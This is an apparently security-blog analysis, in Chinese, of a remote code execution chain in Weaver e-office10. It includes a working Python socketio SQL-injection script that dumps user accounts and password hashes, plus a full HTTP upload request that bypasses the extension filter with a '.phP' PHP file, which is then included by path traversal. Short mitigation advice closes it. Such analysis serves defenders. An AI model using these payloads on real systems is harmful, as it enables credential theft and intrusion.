泛微 e-office10 远程代码执行漏洞分析
字数 1088 2025-08-19 12:40:36
泛微 e-office10 远程代码执行漏洞分析与利用
漏洞概述
泛微 e-office10 存在一个远程代码执行漏洞,该漏洞由两部分组成:
- 通过 WebSocket 接口的 SQL 注入漏洞
- 文件上传结合文件包含导致的远程代码执行
漏洞分析
1. WebSocket 接口 SQL 注入
漏洞位于 IM 服务的 WebSocket 接口中,具体路径为 /web namespace 下的 outline recordLength 事件处理。
关键点:
- 漏洞触发点:
getPersonalOfflineRecord方法 - 注入参数:
loginUserId通过 query 参数传入 - 受影响服务端口:4986 (IM 服务默认端口)
漏洞利用条件:
- 需要存在
chat_personal_record开头的表(系统默认会创建这些表,用户聊天后会自动生成如chat_personal_record_1等表)
2. 文件上传与包含
文件上传部分:
- 上传接口:
/eoffice10/server/public/api/welink/welink-move - 上传限制:
- 文件内容校验(仅校验为 jpg 格式)
- 上传目录为
attachment子目录,无法直接访问 - 文件名过滤(但可通过大小写绕过,如上传
.phP文件)
文件包含部分:
- 包含函数:
getArrayFromPhp - 包含路径构造:
- 使用
getLangFileFullPath方法 - 通过
../../目录遍历 - Windows 系统下大小写不敏感特性可利用(
.phP可被当作.php包含)
- 使用
漏洞利用步骤
1. WebSocket SQL 注入利用
import socketio
sio = socketio.Client()
@sio.on('connect', namespace='/web')
def connect():
print('Connected to the server')
sio.emit('outline recordLength', None, namespace='/web')
@sio.on('send recordLength', namespace='/web')
def on_message(data):
print('Received data: ' + str(data))
# SQL注入获取用户凭证
sio.connect('http://192.168.0.139:4986?loginUserId=aa",`chat_object`) union select 1,2,3,group_concat(user_accounts,0x7e,password,0x7e),5,6,0,8,9,10,11,12 from user%23&loginDeptId=0&loginRoleId=1', namespaces=['/web'])
try:
sio.wait()
except KeyboardInterrupt:
pass
finally:
sio.disconnect()
2. 文件上传与包含利用
文件上传请求示例:
POST /eoffice10/server/public/api/welink/welink-move HTTP/1.1
Host: 192.168.0.139:8010
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.139:8010/eoffice10/client/web/system/user/manage
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvQIRygBK
Content-Length: 8003
------WebKitFormBoundaryvQIRygBK
Content-Disposition: form-data; name="file"; filename="1.phP"
Content-Type: image/png
<jpg文件头><?php phpinfo(); ?>
------WebKitFormBoundaryvQIRygBK--
文件包含利用:
通过构造请求包含上传的 PHP 文件,利用 Windows 大小写不敏感特性执行代码。
临时修复方案
- 使用防护类设备对相关资产进行 SQL 注入、文件包含等攻击的防护
- 在确认不影响业务的情况下可临时关闭 IM 服务
- 使用网络 ACL 策略限制 IM 服务的公网访问
环境要求
- Python 环境需要特定版本的 socketio 库:
pip install python-engineio==3.14.2 python-socketio==4.6.0 - 目标系统:Windows(利用文件包含的大小写不敏感特性)
注意事项
- 获取的密码为 MD5(unix) 格式,可能需要破解
- 上传的文件位于
attachment子目录,无法直接访问,必须通过文件包含漏洞利用 - 利用 Windows 系统特性,上传
.phP文件可被当作.php文件包含执行